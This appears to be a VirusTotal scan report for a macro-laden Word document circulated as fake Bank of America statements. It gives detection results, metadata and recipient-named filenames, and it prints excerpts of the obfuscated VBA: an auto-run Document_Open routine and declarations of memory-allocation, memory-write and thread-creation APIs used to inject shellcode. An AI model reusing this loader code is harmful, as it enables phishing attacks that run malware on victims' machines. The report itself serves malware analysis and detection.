Antivirus scan for 82d4b6676bbff17626aba1a65a9c6ec10ab036c101c8dc5e6e697693ec5a013f at 2017-02-09 16:08:45 UTC

Antivirus	Result	Update
Fortinet	WM/Agent.SEQ!tr	20170209
McAfee	W97M/Dropper.da	20170209
McAfee-GW-Edition	W97M/Dropper.da	20170209
NANO-Antivirus	Trojan.Ole2.Vbs-heuristic.druvzi	20170209
Qihoo-360	virus.office.gen.70	20170209
Ad-Aware		20170209
AegisLab		20170209
AhnLab-V3		20170209
Alibaba		20170122
ALYac		20170209
Antiy-AVL		20170209
Arcabit		20170209
Avast		20170209
AVG		20170209
Avira (no cloud)		20170209
AVware		20170209
Baidu		20170209
BitDefender		20170209
Bkav		20170209
CAT-QuickHeal		20170209
ClamAV		20170209
CMC		20170209
Comodo		20170209
CrowdStrike Falcon (ML)		20170130
Cyren		20170209
Emsisoft		20170209
Endgame		20170208
ESET-NOD32		20170209
F-Prot		20170209
F-Secure		20170209
GData		20170209
Ikarus		20170209
Sophos ML		20170203
Jiangmin		20170209
K7AntiVirus		20170209
K7GW		20170209
Kaspersky		20170209
Kingsoft		20170209
Malwarebytes		20170209
Microsoft		20170209
eScan		20170209
nProtect		20170209
Panda		20170209
Rising		20170209
Sophos AV		20170209
SUPERAntiSpyware		20170209
Symantec		20170209
Tencent		20170209
TheHacker		20170209
TrendMicro		20170209
TrendMicro-HouseCall		20170209
Trustlook		20170209
VBA32		20170209
VIPRE		20170209
ViRobot		20170209
WhiteArmor		20170202
Yandex		20170208
Zillya		20170208
Zoner		20170209

The file being studied follows the Compound Document File format! More specifically, it is a MS Word Document file.

Commonly abused properties

The studied file makes use of macros, a macro is a series of commands and instructions that you group together as a single command to accomplish a task automatically. Macros are often abused to perform malicious tasks when working with a document.

May write to a file.

May enumerate open windows.

May execute code from Dynamically Linked Libraries.

Summary

last_author

Windows

creation_datetime

2017-02-09 14:03:00

author

Matthew

title

page_count

last_saved

2017-02-09 14:03:00

revision_number

application_name

Microsoft Office Word

character_count

code_page

Cyrillic

template

Normal.dot

Document summary

byte_count

11000

company

characters_with_spaces

line_count

version

726502

paragraph_count

code_page

Cyrillic

OLE Streams

[+] Root Entry

[+] \x01CompObj

[+] \x05DocumentSummaryInformation

[+] \x05SummaryInformation

[+] Macros/VBA/ThisDocument

[+] Macros/VBA/_VBA_PROJECT

[+] Macros/VBA/dir

[+] Macros/VBA/heavy

[+] Macros/VBA/philatelist

[+] Macros/heavy/\x01CompObj

[+] Macros/heavy/\x03VBFrame

[+] Macros/heavy/f

[+] Macros/heavy/o

[+] WordDocument

Macros and VBA code streams

[+] ThisDocument.cls Macros/VBA/ThisDocument 4642 bytes

enum-windows

Private Sub Document_Open()
Dim fatal As Integer
Dim incogitable As Byte
adverse = "stylite"
catostomidae = "sense"
bayonet
architeuthis = 3
high = 314
mauvais = 51236
sensational = 370050
sensational = SYD(sensational, mauvais, high, architeuthis)
End Sub
Function cinquecento(watershed, ammoniacal, coadjutor)
#If Win64 Then
Dim anoxemia As Byte
Dim designated As String
Dim odoriferous As LongPtr
Dim unpermissive As LongPtr
Dim accost As LongPtr
Dim rumple As String
Dim arcturus As LongPtr
Dim addable As LongPtr
#Else
Dim unpermissive As Long
Dim ahura As Integer
Dim odoriferous As Long
Dim apperceptive As Variant
Dim arcturus As Long
Dim maniclike As Integer
Dim accost As Long
Dim equator As String
Dim addable As Long
Dim friarscowl As Byte
Dim duckpins As String
#End If
pelican = pelican
predictive = Rnd(50.4779 + 344)
unpermissive = watershed
addable = coadjutor
ingulf = Fix(263.6453 + 479)
arcturus = ammoniacal
concoction = 7
nuts = 255
bowwow = 24772
obstructed = 578379
obstructed = SYD(obstructed, bowwow, nuts, concoction)

pelican = pelican
odoriferous = 88 + 42 - 52 - 79
fierceness ByVal odoriferous, unpermissive, arcturus, addable, accost
pelican = heroics
End Function
Sub max()
    With Documents("Example.doc").Windows(1)
        If .WindowState = wdWindowStateMinimize Then _
            .WindowState = wdWindowStateMaximize
    End With
End Sub

Function turritis(austereness)
Dim intensional As Long
Dim aldosterone As Long
Dim suspend As Variant
Dim glories As Variant
#If Win64 Then
Dim aid As Variant
Dim hasdrubal As LongPtr
appeachment = 17 - 102 + 93
Dim hemipteronatus As LongPtr
Dim bilobate As Long
Dim mohawk As Variant
Dim amended As LongPtr
Dim mortmain As Integer
#Else
Dim actiniopteris As Integer
Dim hasdrubal As Long
appeachment = 54 - 50
Dim hemipteronatus As Long
Dim illicit As String
Dim amended As Long
Dim consecration As Integer
Dim blastomycete As Integer
#End If
movere = cinquecento(VarPtr(hasdrubal), VarPtr(austereness) + 8, appeachment)
 [... continues ...]

[+] philatelist.bas Macros/VBA/philatelist 8878 bytes

exe-pattern run-dll write-file

' I know what you want, Baby, I'mma give it to you real good
' To the edge of the night to the light
' B-B-B-Baby, I'mma give it to you real good
#If Win64 Then
' Here bartender make it double, oop!
' Get it right, all night
' I know what your friends say
Public Declare PtrSafe Function racist Lib "Shlwapi.dll" Alias "PathFileExists" (changed As LongPtr) As LongPtr
' You know the song baby, tryin’ to get my top score
' Baby we should get it right
' You make me feel good
Public Declare PtrSafe Function rubiales Lib "Shell32.dll" Alias "SHGetSettings" (euderma As LongPtr,jackpudding As LongPtr) As LongPtr
' But they don’t know your appeal
' When they’re laying on the ground
' I know what you want, Baby, I'mma give it to you real good
Public Declare PtrSafe Function distend Lib "Kernel32.dll" Alias "ReadConsoleW" (ByVal nonmandatory As LongPtr,handerchief As LongPtr,wintergreen As LongPtr,unimpressible As LongPtr,primogeniture As LongPtr) As Boolean
' But they don’t know your appeal
' Put your motherfucking hands up!
' I know what you want, Baby, I'mma give it to you real good
Public Declare PtrSafe Function pampered Lib "ntdll.dll" Alias "NtAllocateVirtualMemory" (pulcinella As LongPtr, brushed As LongPtr, ByVal palter As LongPtr,covetousnessByVal As LongPtr, heighho As LongPtr, ByVal appointments As LongPtr) As LongPtr
'
' I'mma be around, maybe not as often as you like
' I know what you want, Baby, I'mma give it to you real good
Public Declare PtrSafe Function fierceness Lib "Ntdll.dll  " Alias "NtWriteVirtualMemory" (ByVal preliterate As Any, ByVal dreamily As Any, ByVal capacious As Any, ByVal cola As Any, ByVal arcanum As Any) As LongPtr
' Cause I like your skinny-jeans better
' Baby let me get it right
' Put your motherfucking hands up!
Public Declare PtrSafe Function ungovernable Lib "Shlwapi  " Alias "SHCreateThread" (ByVal prudential As LongPtr, ByVal buckwheat As Any, ByVal sneaky As LongPtr, ByVal piles As LongPtr) As LongPtr
' Cause it’s 420 24/7

ExifTool file metadata

SharedDoc

Author

Matthew

HyperlinksChanged

System

Windows

LinksUpToDate

LastModifiedBy

Windows

HeadingPairs

, 1

Identification

Word 8.0

Template

Normal.dot

CharCountWithSpaces

Word97

LanguageCode

Russian

CompObjUserType

???????? Microsoft Office Word

ModifyDate

2017:02:09 13:03:00

Characters

CodePage

Windows Cyrillic

RevisionNumber

MIMEType

application/msword

Words

Lines

CreateDate

2017:02:09 13:03:00

Bytes

11000

AppVersion

11.5606

Security

None

Software

Microsoft Office Word

FileType

DOC

TotalEditTime

Pages

ScaleCrop

CompObjUserTypeLen

FileTypeExtension

doc

Paragraphs

LastPrinted

0000:00:00 00:00:00

DocFlags

Has picture, 1Table, ExtChar

Compressed bundles

This file was also submitted to VirusTotal in the following compressed file bundles.

48a5334fd017d0c50dbb3a71c779a54f2246ceb5885501fb5ee75a3f3b22f76c

File identification

MD5 7428af4caaa3689c6ec16eb684244f07

SHA1 3152f563c55146ad3eb4b0111f36f4b5b15016c3

SHA256 82d4b6676bbff17626aba1a65a9c6ec10ab036c101c8dc5e6e697693ec5a013f

ssdeep

3072:7I8JK3YDtbTUkFNzeTFzukI2tKjtfMLoWrHhFcF:7LFDtXlNz0zBI2tK2FL

File size 177.0 KB ( 181248 bytes )

File type MS Word Document

Magic literal

CDF V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1251, Title: , Author: Matthew, Template: Normal.dot, Last Saved By: Windows, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Wed Feb 08 13:03:00 2017, Last Saved Time/Date: Wed Feb 08 13:03:00 2017, Number of Pages: 2, Number of Words: 0, Number of Characters: 5, Security: 0

TrID	Microsoft Word document (80.0%) Generic OLE2 / Multistream Compound File (20.0%)

VirusTotal metadata

First submission 2017-02-09 15:22:09 UTC ( 2 years, 2 months ago )

Last submission 2018-07-23 19:15:31 UTC ( 9 months ago )

File names

bofa_statement_hicham.ifrak.doc
bofa_statement_accountspayable.doc
bofa_statement_techsupport.doc
bofa_statement_triage.doc
bofa_statement_jobs.doc
bofa_statement_jari.virtanen.doc
bofa_statement_taco.john.doc
file1.doc
bofa_statement_dudi.doc
Malicious.doc
bofa_statement_bert.mullen.doc
bofa_statement_kok.doc
bofa_statement_georgia.bepis.doc
file.tmp
82d4b6676bbff17626aba1a65a9c6ec10ab036c101c8dc5e6e697693ec5a013f
bofa_statement_omyra.clark.doc
bofa_statement_homer.abejuro.doc
bofa_statement_2ndlevel.doc
bofa_statement_suzanne.hinkley.doc
bofa_statement_iane.doc
bofa_statement_jdufour.doc
bofa_statement_cstevens.doc
bofa_statement_karen.e.bridger.doc
bofa_statement_joyce.doc
bofa_statement_abenzing.doc

SHA256:	82d4b6676bbff17626aba1a65a9c6ec10ab036c101c8dc5e6e697693ec5a013f
File name:	bofa_statement_dudi.doc
Detection ratio:	5 / 53
Analysis date:	2017-02-09 16:08:45 UTC ( 2 years, 2 months ago ) View latest

Ciphered bundle

Commonly abused properties

Summary

Document summary

OLE Streams

Macros and VBA code streams

ExifTool file metadata

Compressed bundles

File identification

VirusTotal metadata

Leave your comment...

Recover your password

Join VirusTotal Community

Sign in